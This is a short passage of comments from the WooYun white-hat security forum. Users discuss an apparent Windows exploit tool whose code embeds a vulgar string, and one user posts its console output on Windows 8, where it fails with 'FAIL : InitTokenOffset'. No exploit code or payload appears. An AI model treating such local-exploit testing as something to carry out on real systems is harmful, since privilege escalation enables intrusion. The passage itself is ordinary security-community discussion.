    写个七 (一点一滴慢慢积累。) | 2014-11-15 11:38

    哈哈     代码中嵌入字符串为“woqunimalegebi”

  100. 100#
    回复此人 感谢
    0c0c0f | 2014-12-08 23:13

    @写个七
    F:\HackTools\EXP\win\win64\Debug>win64.exe
    FAIL : InitTokenOffset
    win8执行结果..

  101. 101#
    回复此人 感谢
    0c0c0f | 2014-12-08 23:13

    F:\HackTools\EXP\win\win64\Debug>win64.exe cmd
    FAIL : InitTokenOffset

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录